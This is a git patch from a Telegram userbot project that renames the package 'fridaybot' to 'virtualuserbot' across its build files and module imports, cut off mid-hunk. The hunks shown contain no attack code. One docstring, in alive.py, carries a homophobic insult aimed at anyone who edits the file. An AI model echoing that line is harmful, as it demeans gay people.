commit_message: 'SeD Replacer' + commit_options: '--no-verify' + repository: . + commit_user_name: InukaAsith + commit_user_email: inukaasith7@gmail.com + commit_author: inukaasith From b075959247ddce35976c0030c2290500b3c5152a Mon Sep 17 00:00:00 2001 From: inukaasith Date: Fri, 22 Jan 2021 08:27:51 +0000 Subject: [PATCH 727/838] SeD Replacer --- Dockerfile | 8 +-- Procfile | 2 +- README.md | 2 +- app.json | 6 +- no_touch.sh | 2 +- start.sh | 2 +- virtualuserbot/Configs.py | 2 +- virtualuserbot/__main__.py | 10 +-- virtualuserbot/events.py | 8 +-- virtualuserbot/function/__init__.py | 8 +-- virtualuserbot/modules/README.md | 4 +- virtualuserbot/modules/WhatsNew.py | 2 +- virtualuserbot/modules/__init__.py | 4 +- virtualuserbot/modules/_helper.py | 4 +- virtualuserbot/modules/_inlinebot.py | 6 +- virtualuserbot/modules/add.py | 6 +- virtualuserbot/modules/admin.py | 4 +- virtualuserbot/modules/adultzone.py | 2 +- virtualuserbot/modules/advance_help.py | 4 +- virtualuserbot/modules/afk.py | 6 +- virtualuserbot/modules/alive.py | 8 +-- virtualuserbot/modules/allban.py | 2 +- virtualuserbot/modules/animation1.py | 2 +- virtualuserbot/modules/animation2.py | 2 +- virtualuserbot/modules/animation3.py | 2 +- virtualuserbot/modules/animation4.py | 2 +- virtualuserbot/modules/anime.py | 4 +- virtualuserbot/modules/antiflood.py | 4 +- virtualuserbot/modules/antispam.py | 4 +- virtualuserbot/modules/antivirus.py | 2 +- virtualuserbot/modules/archiver.py | 4 +- virtualuserbot/modules/art.py | 2 +- virtualuserbot/modules/assistant/README.md | 4 +- virtualuserbot/modules/assistant/bot_alive.py | 4 +- .../modules/assistant/main_assistant.py | 10 +-- virtualuserbot/modules/assistant/notes.py | 4 +- virtualuserbot/modules/assistant/ping.py | 2 +- virtualuserbot/modules/autotools.py | 14 ++-- virtualuserbot/modules/barcode.py | 2 +- virtualuserbot/modules/bash.py | 4 +- virtualuserbot/modules/bassboost.py | 2 +- virtualuserbot/modules/bible.py | 4 +- virtualuserbot/modules/bin.py | 2 +- virtualuserbot/modules/blacklist.py | 4 +- virtualuserbot/modules/books.py | 4 +- virtualuserbot/modules/bot_tag.py | 2 +- virtualuserbot/modules/broadcast.py | 8 +-- virtualuserbot/modules/bye.py | 4 +- virtualuserbot/modules/calladmin.py | 2 +- virtualuserbot/modules/carbon.py | 4 +- virtualuserbot/modules/carbonRGB.py | 2 +- virtualuserbot/modules/card.py | 2 +- virtualuserbot/modules/chain.py | 2 +- virtualuserbot/modules/channel_download.py | 4 +- virtualuserbot/modules/channel_sticker.py | 4 +- virtualuserbot/modules/channel_zipper.py | 4 +- virtualuserbot/modules/checkrestrictions.py | 2 +- virtualuserbot/modules/classictranslate.py | 2 +- virtualuserbot/modules/clone.py | 4 +- virtualuserbot/modules/cmd_list.py | 6 +- virtualuserbot/modules/coinflip.py | 2 +- virtualuserbot/modules/colors.py | 4 +- virtualuserbot/modules/congratulations.py | 2 +- virtualuserbot/modules/copy.py | 2 +- virtualuserbot/modules/count.py | 4 +- virtualuserbot/modules/countries.py | 4 +- virtualuserbot/modules/covid.py | 2 +- virtualuserbot/modules/cow.py | 2 +- virtualuserbot/modules/crack_tools.py | 4 +- virtualuserbot/modules/create.py | 4 +- virtualuserbot/modules/cricket_score.py | 4 +- virtualuserbot/modules/crypto.py | 4 +- virtualuserbot/modules/currency.py | 2 +- virtualuserbot/modules/customs.py | 2 +- virtualuserbot/modules/dagd.py | 2 +- virtualuserbot/modules/decide.py | 4 +- virtualuserbot/modules/deepfryer.py | 6 +- virtualuserbot/modules/delfp.py | 2 +- virtualuserbot/modules/design.py | 4 +- virtualuserbot/modules/diceandart.py | 4 +- virtualuserbot/modules/dictionary.py | 2 +- virtualuserbot/modules/direct_links.py | 4 +- virtualuserbot/modules/dm.py | 2 +- virtualuserbot/modules/dns.py | 4 +- virtualuserbot/modules/duckduckgo.py | 2 +- virtualuserbot/modules/dumpster.py | 4 +- virtualuserbot/modules/ekart.py | 4 +- virtualuserbot/modules/emojify.py | 4 +- virtualuserbot/modules/emojis.py | 2 +- virtualuserbot/modules/eval.py | 2 +- virtualuserbot/modules/exclusive.py | 4 +- virtualuserbot/modules/execmod.py | 2 +- virtualuserbot/modules/extra.py | 6 +- virtualuserbot/modules/extra1.py | 4 +- virtualuserbot/modules/extranotes.py | 2 +- virtualuserbot/modules/eye.py | 4 +- virtualuserbot/modules/fakegen.py | 2 +- virtualuserbot/modules/fakeimagegen.py | 6 +- virtualuserbot/modules/fconvert.py | 2 +- virtualuserbot/modules/fed_ban.py | 6 +- virtualuserbot/modules/ff_mpeg.py | 2 +- virtualuserbot/modules/figlet.py | 4 +- virtualuserbot/modules/fileext.py | 2 +- virtualuserbot/modules/filters.py | 8 +-- virtualuserbot/modules/fleaveme.py | 2 +- virtualuserbot/modules/font3.py | 4 +- virtualuserbot/modules/fonts2.py | 4 +- virtualuserbot/modules/football.py | 6 +- virtualuserbot/modules/fridaybot.py | 4 +- virtualuserbot/modules/fuck11.py | 4 +- virtualuserbot/modules/funarts.py | 2 +- virtualuserbot/modules/funnyfonts.py | 4 +- virtualuserbot/modules/funtxt2.py | 2 +- virtualuserbot/modules/fwd.py | 4 +- virtualuserbot/modules/gamersdp.py | 4 +- virtualuserbot/modules/games.py | 2 +- virtualuserbot/modules/gangasta.py | 4 +- virtualuserbot/modules/gdbye.py | 2 +- virtualuserbot/modules/get_admin.py | 4 +- virtualuserbot/modules/get_bot.py | 4 +- virtualuserbot/modules/get_id.py | 4 +- virtualuserbot/modules/gettime.py | 2 +- virtualuserbot/modules/gizoogle.py | 2 +- virtualuserbot/modules/glitch.py | 4 +- virtualuserbot/modules/google.py | 4 +- virtualuserbot/modules/got_memes.py | 2 +- virtualuserbot/modules/got_thoughts.py | 2 +- virtualuserbot/modules/gprod.py | 2 +- virtualuserbot/modules/gps2.py | 2 +- virtualuserbot/modules/greetings.py | 2 +- virtualuserbot/modules/gtools.py | 68 +++++++++---------- virtualuserbot/modules/hack.py | 2 +- virtualuserbot/modules/hash.py | 4 +- virtualuserbot/modules/heroku.py | 6 +- virtualuserbot/modules/heroku_help.py | 4 +- virtualuserbot/modules/hotstar.py | 2 +- virtualuserbot/modules/howtogoogle.py | 4 +- virtualuserbot/modules/hyperlink.py | 4 +- virtualuserbot/modules/iffuci.py | 2 +- virtualuserbot/modules/ifsc.py | 2 +- virtualuserbot/modules/imageenc.py | 6 +- virtualuserbot/modules/imagefun.py | 4 +- virtualuserbot/modules/imagefun2.py | 2 +- virtualuserbot/modules/imagefun3.py | 2 +- virtualuserbot/modules/imagefun4.py | 2 +- virtualuserbot/modules/imagetools.py | 6 +- virtualuserbot/modules/imdb.py | 2 +- virtualuserbot/modules/img.py | 6 +- virtualuserbot/modules/imposter.py | 2 +- virtualuserbot/modules/information.py | 4 +- virtualuserbot/modules/inline_fun.py | 4 +- virtualuserbot/modules/install.py | 8 +-- .../modules/instant_install_ext_module.py | 4 +- virtualuserbot/modules/iplookup.py | 2 +- virtualuserbot/modules/jainder.py | 2 +- virtualuserbot/modules/jio.py | 2 +- virtualuserbot/modules/json.py | 4 +- virtualuserbot/modules/language.py | 2 +- virtualuserbot/modules/lastfm.py | 4 +- virtualuserbot/modules/lastupdate.py | 4 +- virtualuserbot/modules/letmeabuse.py | 2 +- virtualuserbot/modules/list.py | 2 +- virtualuserbot/modules/listmyusernames.py | 2 +- virtualuserbot/modules/load_unload.py | 2 +- virtualuserbot/modules/locks.py | 4 +- virtualuserbot/modules/lol.py | 2 +- virtualuserbot/modules/lucky.py | 2 +- virtualuserbot/modules/lydiaai2.py | 4 +- virtualuserbot/modules/lyric.py | 4 +- virtualuserbot/modules/mashup.py | 2 +- virtualuserbot/modules/mask.py | 2 +- virtualuserbot/modules/mediadata.py | 6 +- virtualuserbot/modules/memes.py | 10 +-- virtualuserbot/modules/memevoice.py | 2 +- virtualuserbot/modules/memify.py | 2 +- virtualuserbot/modules/mf.py | 4 +- virtualuserbot/modules/misc.py | 6 +- virtualuserbot/modules/mmf.py | 2 +- virtualuserbot/modules/movie_recomendation.py | 4 +- virtualuserbot/modules/mp3converter.py | 2 +- virtualuserbot/modules/mspam.py | 2 +- virtualuserbot/modules/mtn.py | 2 +- virtualuserbot/modules/musicdl.py | 6 +- virtualuserbot/modules/mute.py | 4 +- virtualuserbot/modules/muth.py | 2 +- virtualuserbot/modules/nakal.py | 2 +- virtualuserbot/modules/nekobot.py | 2 +- virtualuserbot/modules/news.py | 4 +- virtualuserbot/modules/no_spam_plus_devs.py | 4 +- virtualuserbot/modules/np.py | 4 +- virtualuserbot/modules/nsfw.py | 4 +- virtualuserbot/modules/nsfwdetect.py | 2 +- virtualuserbot/modules/ocr.py | 4 +- virtualuserbot/modules/ok.py | 4 +- virtualuserbot/modules/os.py | 2 +- virtualuserbot/modules/owm.py | 8 +-- virtualuserbot/modules/padmin.py | 2 +- virtualuserbot/modules/password_manager.py | 4 +- virtualuserbot/modules/password_tools.py | 4 +- virtualuserbot/modules/paste.py | 2 +- virtualuserbot/modules/pdf2docx.py | 6 +- virtualuserbot/modules/pin_message.py | 4 +- virtualuserbot/modules/ping.py | 4 +- virtualuserbot/modules/plane.py | 2 +- virtualuserbot/modules/pmpermit.py | 6 +- virtualuserbot/modules/pokedex.py | 4 +- virtualuserbot/modules/police.py | 2 +- virtualuserbot/modules/porn.py | 2 +- virtualuserbot/modules/poto.py | 4 +- virtualuserbot/modules/power_tools.py | 4 +- virtualuserbot/modules/privatewelcome.py | 2 +- virtualuserbot/modules/pro_nub.py | 4 +- virtualuserbot/modules/profile.py | 2 +- virtualuserbot/modules/programmer_jokes.py | 4 +- virtualuserbot/modules/proxyscrape.py | 4 +- virtualuserbot/modules/purge.py | 4 +- virtualuserbot/modules/pyocr.py | 6 +- virtualuserbot/modules/qr_code.py | 2 +- virtualuserbot/modules/quickheal.py | 2 +- virtualuserbot/modules/quote.py | 4 +- virtualuserbot/modules/quotes.py | 2 +- virtualuserbot/modules/quotly.py | 4 +- virtualuserbot/modules/rain.py | 2 +- virtualuserbot/modules/react.py | 2 +- virtualuserbot/modules/reminder.py | 2 +- virtualuserbot/modules/remove.bg.py | 4 +- virtualuserbot/modules/rename.py | 2 +- virtualuserbot/modules/repeat.py | 4 +- virtualuserbot/modules/reveal.py | 2 +- virtualuserbot/modules/reverse.py | 4 +- virtualuserbot/modules/reverseimg.py | 4 +- virtualuserbot/modules/sangmata.py | 2 +- virtualuserbot/modules/schd.py | 4 +- virtualuserbot/modules/screencapture.py | 4 +- virtualuserbot/modules/screenlong.py | 4 +- virtualuserbot/modules/screenshot.py | 2 +- virtualuserbot/modules/selfdestruct.py | 4 +- virtualuserbot/modules/send.py | 6 +- virtualuserbot/modules/seotools.py | 4 +- virtualuserbot/modules/shout.py | 2 +- virtualuserbot/modules/sizeresize.py | 6 +- virtualuserbot/modules/slap.py | 2 +- virtualuserbot/modules/snake.py | 2 +- virtualuserbot/modules/snip.py | 6 +- virtualuserbot/modules/solarsystem.py | 2 +- virtualuserbot/modules/something.py | 2 +- virtualuserbot/modules/song.py | 4 +- virtualuserbot/modules/songs.py | 2 +- virtualuserbot/modules/spacedp.py | 4 +- virtualuserbot/modules/spam.py | 4 +- virtualuserbot/modules/speedtest.py | 4 +- .../modules/sql_helper/PostAppender_sql.py | 2 +- .../modules/sql_helper/blacklist_sql.py | 2 +- .../modules/sql_helper/channel_sticker_sql.py | 2 +- virtualuserbot/modules/sql_helper/echo_sql.py | 2 +- virtualuserbot/modules/sql_helper/feds_sql.py | 2 +- .../modules/sql_helper/filter_sql.py | 2 +- virtualuserbot/modules/sql_helper/floodsql.py | 2 +- .../modules/sql_helper/globelmute_sql.py | 2 +- .../modules/sql_helper/gmute_sql.py | 2 +- .../modules/sql_helper/locks_sql.py | 2 +- .../modules/sql_helper/lydia_ai_sql.py | 2 +- virtualuserbot/modules/sql_helper/mute_sql.py | 2 +- .../modules/sql_helper/notes_sql.py | 2 +- .../modules/sql_helper/pmpermit_sql.py | 2 +- .../modules/sql_helper/snips_sql.py | 2 +- .../modules/sql_helper/warns_sql.py | 2 +- .../modules/sql_helper/welcome_sql.py | 2 +- .../modules/sql_helper/welcomesql.py | 2 +- virtualuserbot/modules/ssvideo.py | 6 +- virtualuserbot/modules/stats.py | 2 +- virtualuserbot/modules/steganography.py | 4 +- virtualuserbot/modules/stickcreater.py | 8 +-- virtualuserbot/modules/sticker_2.py | 2 +- virtualuserbot/modules/stickerchat.py | 2 +- virtualuserbot/modules/stickers.py | 6 +- virtualuserbot/modules/stock_price.py | 4 +- virtualuserbot/modules/stt.py | 4 +- virtualuserbot/modules/study.py | 2 +- virtualuserbot/modules/superheroes.py | 4 +- virtualuserbot/modules/supportgroup.py | 4 +- virtualuserbot/modules/tagall.py | 2 +- virtualuserbot/modules/tb_button.py | 2 +- virtualuserbot/modules/telegraph.py | 4 +- virtualuserbot/modules/terminal.py | 2 +- virtualuserbot/modules/test.py | 2 +- virtualuserbot/modules/think.py | 4 +- virtualuserbot/modules/thumbnail.py | 2 +- virtualuserbot/modules/tiktok.py | 2 +- virtualuserbot/modules/time.py | 4 +- virtualuserbot/modules/toonify.py | 2 +- virtualuserbot/modules/torrentsearch.py | 2 +- virtualuserbot/modules/torrentz.py | 2 +- virtualuserbot/modules/translate.py | 4 +- virtualuserbot/modules/trolls.py | 4 +- virtualuserbot/modules/tweet.py | 6 +- virtualuserbot/modules/typing.py | 2 +- virtualuserbot/modules/ukinti.py | 2 +- virtualuserbot/modules/ultragoogle.py | 4 +- virtualuserbot/modules/undlt.py | 2 +- virtualuserbot/modules/unzipfile.py | 4 +- virtualuserbot/modules/updater.py | 6 +- virtualuserbot/modules/upload_dl.py | 8 +-- virtualuserbot/modules/uploadtoverysteam.py | 2 +- virtualuserbot/modules/urbandictionary.py | 4 +- virtualuserbot/modules/urlshortner.py | 4 +- virtualuserbot/modules/userinfo.py | 4 +- virtualuserbot/modules/utube.py | 2 +- virtualuserbot/modules/verysteam.py | 2 +- virtualuserbot/modules/virustotal.py | 6 +- virtualuserbot/modules/voice.py | 4 +- virtualuserbot/modules/vsong.py | 2 +- virtualuserbot/modules/waifu.py | 4 +- virtualuserbot/modules/wallpapers.py | 6 +- virtualuserbot/modules/warnbun.py | 2 +- virtualuserbot/modules/warns.py | 6 +- virtualuserbot/modules/weather.py | 4 +- virtualuserbot/modules/webshot.py | 4 +- virtualuserbot/modules/webtools.py | 6 +- virtualuserbot/modules/webupload.py | 4 +- virtualuserbot/modules/weebify.py | 2 +- virtualuserbot/modules/welcome.py | 4 +- virtualuserbot/modules/wikimedia.py | 2 +- virtualuserbot/modules/wikipedia.py | 2 +- virtualuserbot/modules/wtf.py | 4 +- virtualuserbot/modules/xkcd.py | 2 +- virtualuserbot/modules/xnxx.py | 2 +- virtualuserbot/modules/ytdl.py | 2 +- virtualuserbot/modules/ytmusic.py | 6 +- virtualuserbot/utils.py | 54 +++++++-------- virtualuserbot/wraptools/__init__.py | 4 +- 331 files changed, 628 insertions(+), 628 deletions(-) diff --git a/Dockerfile b/Dockerfile index bc7e0d21..b791a6f5 100644 --- a/Dockerfile +++ b/Dockerfile @@ -59,10 +59,10 @@ RUN rm -r /root/.cache RUN axel https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb && apt install -y ./google-chrome-stable_current_amd64.deb && rm google-chrome-stable_current_amd64.deb RUN axel https://chromedriver.storage.googleapis.com/86.0.4240.22/chromedriver_linux64.zip && unzip chromedriver_linux64.zip && chmod +x chromedriver && mv -f chromedriver /usr/bin/ && rm chromedriver_linux64.zip RUN wget -O opencv.zip https://github.com/opencv/opencv/archive/master.zip && unzip opencv.zip && mv -f opencv-master /usr/bin/ && rm opencv.zip -RUN git clone https://github.com/inukaasith/virtualuserbot /root/fridaybot -RUN mkdir /root/fridaybot/bin/ -RUN mkdir /root/fridaybot/bin/megadown -WORKDIR /root/fridaybot/ +RUN git clone https://github.com/inukaasith/virtualuserbot /root/virtualuserbot +RUN mkdir /root/virtualuserbot/bin/ +RUN mkdir /root/virtualuserbot/bin/megadown +WORKDIR /root/virtualuserbot/ RUN chmod +x /usr/local/bin/* RUN pip3 install -r requirements.txt CMD ["bash","start.sh"] diff --git a/Procfile b/Procfile index 9d4396ef..41e152e6 100644 --- a/Procfile +++ b/Procfile @@ -1 +1 @@ -fridaybot: python -m fridaybot +virtualuserbot: python -m virtualuserbot diff --git a/README.md b/README.md index fed01a66..8943d158 100644 --- a/README.md +++ b/README.md @@ -154,7 +154,7 @@ virtualenv -p /usr/bin/python3 venv pip install -r requirements.txt # Create local_config.py with variables as given below # Start Bot -python3 -m fridaybot +python3 -m virtualuserbot ``` diff --git a/app.json b/app.json index 3f48cf08..03ef5d9a 100644 --- a/app.json +++ b/app.json @@ -4,9 +4,9 @@ "logo": "https://telegra.ph/file/4e1364fb18f899ad47dec.png", "keywords": [ "telegram", - "fridaybot", + "virtualuserbot", "plugin", - "telegram-fridaybot", + "telegram-virtualuserbot", "productivity" ], "repository": "https://github.com/inukaasith/virtualuserbot", @@ -20,7 +20,7 @@ }, "TEMP_DOWNLOAD_DIRECTORY": { "description": "Where downloaded files will go.", - "value": "./fridaybot/DOWNLOADS/", + "value": "./virtualuserbot/DOWNLOADS/", "required": false }, "ALIVE_NAME": { diff --git a/no_touch.sh b/no_touch.sh index 68e8126f..271d7abb 100644 --- a/no_touch.sh +++ b/no_touch.sh @@ -1,4 +1,4 @@ echo 'Hmlo, Updating Requirements' pip3 install -r requirements.txt -python3 -m fridaybot +python3 -m virtualuserbot echo 'Me iz Doge.' diff --git a/start.sh b/start.sh index 72e6d4e1..3b4a1592 100644 --- a/start.sh +++ b/start.sh @@ -3,4 +3,4 @@ echo """ ─░█░█─ ▀█▀ █▄▄▀ ──█── █──█ █▄▄█ █──   ░█─░█ ▀▀█ █▀▀ █▄▄▀ █▀▀▄ █──█ ──█── ──▀▄▀─ ▀▀▀ ▀─▀▀ ──▀── ─▀▀▀ ▀──▀ ▀▀▀   ─▀▄▄▀ ▀▀▀ ▀▀▀ ▀─▀▀ ▀▀▀─ ▀▀▀▀ ──▀── """ -python3 -m fridaybot +python3 -m virtualuserbot diff --git a/virtualuserbot/Configs.py b/virtualuserbot/Configs.py index e9dbf94a..5630c39e 100644 --- a/virtualuserbot/Configs.py +++ b/virtualuserbot/Configs.py @@ -51,7 +51,7 @@ class Config(object): # DO NOT EDIT BELOW THIS LINE IF YOU DO NOT KNOW WHAT YOU ARE DOING # TG API limit. A message can have maximum 4096 characters! MAX_MESSAGE_SIZE_LIMIT = 4095 - # set blacklist_chats where you do not want fridaybot's features + # set blacklist_chats where you do not want virtualuserbot's features UB_BLACK_LIST_CHAT = set( int(x) for x in os.environ.get("UB_BLACK_LIST_CHAT", "").split() ) diff --git a/virtualuserbot/__main__.py b/virtualuserbot/__main__.py index a9fc84f9..90b32732 100644 --- a/virtualuserbot/__main__.py +++ b/virtualuserbot/__main__.py @@ -3,9 +3,9 @@ from sys import argv import telethon.utils -from fridaybot import bot -from fridaybot.Configs import Config -from fridaybot.utils import load_module, start_assistant +from virtualuserbot import bot +from virtualuserbot.Configs import Config +from virtualuserbot.utils import load_module, start_assistant from telethon import TelegramClient from var import Var @@ -34,7 +34,7 @@ async def add_bot(bot_token): import glob -path = "fridaybot/modules/*.py" +path = "virtualuserbot/modules/*.py" files = glob.glob(path) for name in files: with open(name) as f: @@ -43,7 +43,7 @@ async def add_bot(bot_token): load_module(shortname.replace(".py", "")) if Config.ENABLE_ASSISTANTBOT == "ENABLE": - path = "fridaybot/modules/assistant/*.py" + path = "virtualuserbot/modules/assistant/*.py" files = glob.glob(path) for name in files: with open(name) as f: diff --git a/virtualuserbot/events.py b/virtualuserbot/events.py index 94099970..f5a33eee 100644 --- a/virtualuserbot/events.py +++ b/virtualuserbot/events.py @@ -4,7 +4,7 @@ # you may not use this file except in compliance with the License. # """ Userbot module for managing events. - One of the main components of the fridaybot. """ + One of the main components of the virtualuserbot. """ import sys from asyncio import create_subprocess_shell as asyncsubshell @@ -13,7 +13,7 @@ from time import gmtime, strftime from traceback import format_exc -from fridaybot import LOGSPAMMER, PRIVATE_GROUP_ID, bot +from virtualuserbot import LOGSPAMMER, PRIVATE_GROUP_ID, bot from telethon import events @@ -127,8 +127,8 @@ async def wrapper(check): if LOGSPAMMER: await check.client.respond( - "`Sorry, my fridaybot has crashed.\ - \nThe error logs are stored in the fridaybot's log chat.`" + "`Sorry, my virtualuserbot has crashed.\ + \nThe error logs are stored in the virtualuserbot's log chat.`" ) await check.client.send_file(send_to, "error.log", caption=text) diff --git a/virtualuserbot/function/__init__.py b/virtualuserbot/function/__init__.py index dfcda734..5d17706d 100644 --- a/virtualuserbot/function/__init__.py +++ b/virtualuserbot/function/__init__.py @@ -16,7 +16,7 @@ import telethon from bs4 import BeautifulSoup from bs4 import BeautifulSoup as bs -from fridaybot.utils import load_module +from virtualuserbot.utils import load_module from hachoir.metadata import extractMetadata from hachoir.parser import createParser from pymediainfo import MediaInfo @@ -42,10 +42,10 @@ import os import zipfile -from fridaybot.Configs import Config +from virtualuserbot.Configs import Config sedpath = Config.TMP_DOWNLOAD_DIRECTORY -from fridaybot import logging +from virtualuserbot import logging logger = logging.getLogger("[--WARNING--]") if not os.path.isdir(sedpath): @@ -133,7 +133,7 @@ async def get_all_modules(event, borg, channel_id): await event.edit(f"**Found : {len_p} Plugins. Trying To Install**") for sed in a_plugins: try: - downloaded_file_name = await borg.download_media(sed, "fridaybot/modules/") + downloaded_file_name = await borg.download_media(sed, "virtualuserbot/modules/") if "(" not in downloaded_file_name: path1 = Path(downloaded_file_name) shortname = path1.stem diff --git a/virtualuserbot/modules/README.md b/virtualuserbot/modules/README.md index dab1aff7..d66bca74 100644 --- a/virtualuserbot/modules/README.md +++ b/virtualuserbot/modules/README.md @@ -4,8 +4,8 @@ ## Credits to FridayUserbot # EXAMPLE CODE ! ```python3 -from fridaybot.utils import friday_on_cmd, sudo_cmd, edit_or_reply -from fridaybot.Configs import Config +from virtualuserbot.utils import friday_on_cmd, sudo_cmd, edit_or_reply +from virtualuserbot.Configs import Config @friday.on(friday_on_cmd(pattern="alive")) @friday.on(sudo_cmd(pattern="alive", allow_sudo=True)) async def hello_world(event): diff --git a/virtualuserbot/modules/WhatsNew.py b/virtualuserbot/modules/WhatsNew.py index d1e16425..6e7d88ed 100644 --- a/virtualuserbot/modules/WhatsNew.py +++ b/virtualuserbot/modules/WhatsNew.py @@ -1,4 +1,4 @@ -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP CMD_HELP.update( { diff --git a/virtualuserbot/modules/__init__.py b/virtualuserbot/modules/__init__.py index c83f5e1a..db6d2193 100644 --- a/virtualuserbot/modules/__init__.py +++ b/virtualuserbot/modules/__init__.py @@ -1,5 +1,5 @@ -from fridaybot.Configs import Config -from fridaybot.utils import friday_on_cmd +from virtualuserbot.Configs import Config +from virtualuserbot.utils import friday_on_cmd from var import Var diff --git a/virtualuserbot/modules/_helper.py b/virtualuserbot/modules/_helper.py index 8d7c20ff..a7c5155a 100644 --- a/virtualuserbot/modules/_helper.py +++ b/virtualuserbot/modules/_helper.py @@ -1,5 +1,5 @@ -from fridaybot import ALIVE_NAME, CMD_LIST, lang -from fridaybot.utils import friday_on_cmd +from virtualuserbot import ALIVE_NAME, CMD_LIST, lang +from virtualuserbot.utils import friday_on_cmd DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "VirtualUserbot" diff --git a/virtualuserbot/modules/_inlinebot.py b/virtualuserbot/modules/_inlinebot.py index 911ab2c8..e9e60ac3 100644 --- a/virtualuserbot/modules/_inlinebot.py +++ b/virtualuserbot/modules/_inlinebot.py @@ -6,9 +6,9 @@ from urllib.parse import quote import requests -from fridaybot import ALIVE_NAME, CMD_HELP, CMD_LIST, lang -from fridaybot.function import _ytdl -from fridaybot.modules import inlinestats +from virtualuserbot import ALIVE_NAME, CMD_HELP, CMD_LIST, lang +from virtualuserbot.function import _ytdl +from virtualuserbot.modules import inlinestats from pornhub_api import PornhubApi from search_engine_parser import GoogleSearch from telethon import Button, custom, events, functions diff --git a/virtualuserbot/modules/add.py b/virtualuserbot/modules/add.py index fe32237e..2a10407f 100644 --- a/virtualuserbot/modules/add.py +++ b/virtualuserbot/modules/add.py @@ -1,14 +1,14 @@ """Invite the user(s) to the current chat Syntax: .invite """ -from fridaybot.utils import friday_on_cmd +from virtualuserbot.utils import friday_on_cmd from telethon import functions """Invite the user(s) to the current chat Syntax: .invite """ -from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd from telethon import functions diff --git a/virtualuserbot/modules/admin.py b/virtualuserbot/modules/admin.py index a955b3ec..96868d25 100644 --- a/virtualuserbot/modules/admin.py +++ b/virtualuserbot/modules/admin.py @@ -9,8 +9,8 @@ from asyncio import sleep from os import remove -from fridaybot import BOTLOG, BOTLOG_CHATID, CMD_HELP -from fridaybot.utils import admin_cmd, errors_handler +from virtualuserbot import BOTLOG, BOTLOG_CHATID, CMD_HELP +from virtualuserbot.utils import admin_cmd, errors_handler from telethon.errors import ( BadRequestError, ChatAdminRequiredError, diff --git a/virtualuserbot/modules/adultzone.py b/virtualuserbot/modules/adultzone.py index 1bb55e87..f49ce76b 100644 --- a/virtualuserbot/modules/adultzone.py +++ b/virtualuserbot/modules/adultzone.py @@ -7,7 +7,7 @@ import urllib import requests -from fridaybot import pro +from virtualuserbot import pro from ..utils import admin_cmd, sudo_cmd diff --git a/virtualuserbot/modules/advance_help.py b/virtualuserbot/modules/advance_help.py index f90a85a5..5cb660d8 100644 --- a/virtualuserbot/modules/advance_help.py +++ b/virtualuserbot/modules/advance_help.py @@ -1,5 +1,5 @@ -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd, sudo_cmd @friday.on(sudo_cmd(pattern="ahelp ?(.*)", allow_sudo=True)) diff --git a/virtualuserbot/modules/afk.py b/virtualuserbot/modules/afk.py index be07551e..fc4aec68 100644 --- a/virtualuserbot/modules/afk.py +++ b/virtualuserbot/modules/afk.py @@ -4,7 +4,7 @@ import datetime from datetime import datetime -from fridaybot import CMD_HELP, lang +from virtualuserbot import CMD_HELP, lang from telethon import events from telethon.tl import functions, types @@ -125,7 +125,7 @@ async def on_afk(event): afk_since = "**a while ago**" current_message_text = event.message.message.lower() if "afk" in current_message_text: - # fridaybot's should not reply to other fridaybot's + # virtualuserbot's should not reply to other virtualuserbot's # https://core.telegram.org/bots/faq#why-doesn-39t-my-bot-see-messages-from-other-bots return False if USER_AFK and not (await event.get_sender()).bot: # pylint:disable=E0602 @@ -278,7 +278,7 @@ async def on_afk(event): afk_since = "**a while ago**" current_message_text = event.message.message.lower() if "afk" in current_message_text: - # fridaybot's should not reply to other fridaybot's + # virtualuserbot's should not reply to other virtualuserbot's # https://core.telegram.org/bots/faq#why-doesn-39t-my-bot-see-messages-from-other-bots return False if USER_AFK and not (await event.get_sender()).bot: # pylint:disable=E0602 diff --git a/virtualuserbot/modules/alive.py b/virtualuserbot/modules/alive.py index 9a97c33b..a6526d2d 100644 --- a/virtualuserbot/modules/alive.py +++ b/virtualuserbot/modules/alive.py @@ -1,10 +1,10 @@ -"""Check if fridaybot alive. If you change these, you become the gayest gay such that even the gay world will disown you.""" +"""Check if virtualuserbot alive. If you change these, you become the gayest gay such that even the gay world will disown you.""" # CREDITS: @WhySooSerious, @Sur_vivor import time -from fridaybot import ALIVE_NAME, CMD_HELP, Lastupdate -from fridaybot.Configs import Config -from fridaybot.modules import currentversion +from virtualuserbot import ALIVE_NAME, CMD_HELP, Lastupdate +from virtualuserbot.Configs import Config +from virtualuserbot.modules import currentversion from uniborg.util import friday_on_cmd, sudo_cmd diff --git a/virtualuserbot/modules/allban.py b/virtualuserbot/modules/allban.py index 12620708..eee8d343 100644 --- a/virtualuserbot/modules/allban.py +++ b/virtualuserbot/modules/allban.py @@ -3,7 +3,7 @@ # team cobra from asyncio import sleep -from fridaybot import bot +from virtualuserbot import bot from telethon.tl.functions.channels import EditBannedRequest from telethon.tl.types import ChatBannedRights diff --git a/virtualuserbot/modules/animation1.py b/virtualuserbot/modules/animation1.py index b3ba6a33..a72b553d 100644 --- a/virtualuserbot/modules/animation1.py +++ b/virtualuserbot/modules/animation1.py @@ -1,7 +1,7 @@ import asyncio from collections import deque -from fridaybot import ALIVE_NAME, CMD_HELP +from virtualuserbot import ALIVE_NAME, CMD_HELP from ..utils import admin_cmd, edit_or_reply, sudo_cmd diff --git a/virtualuserbot/modules/animation2.py b/virtualuserbot/modules/animation2.py index 3b10d986..40550df3 100644 --- a/virtualuserbot/modules/animation2.py +++ b/virtualuserbot/modules/animation2.py @@ -1,7 +1,7 @@ import asyncio from collections import deque -from fridaybot import ALIVE_NAME, CMD_HELP +from virtualuserbot import ALIVE_NAME, CMD_HELP from ..utils import admin_cmd, edit_or_reply, sudo_cmd diff --git a/virtualuserbot/modules/animation3.py b/virtualuserbot/modules/animation3.py index 085ceb31..0a99d2fe 100644 --- a/virtualuserbot/modules/animation3.py +++ b/virtualuserbot/modules/animation3.py @@ -1,6 +1,6 @@ import asyncio -from fridaybot import ALIVE_NAME, CMD_HELP +from virtualuserbot import ALIVE_NAME, CMD_HELP from ..utils import admin_cmd, edit_or_reply, sudo_cmd diff --git a/virtualuserbot/modules/animation4.py b/virtualuserbot/modules/animation4.py index 157bbc66..95b490e8 100644 --- 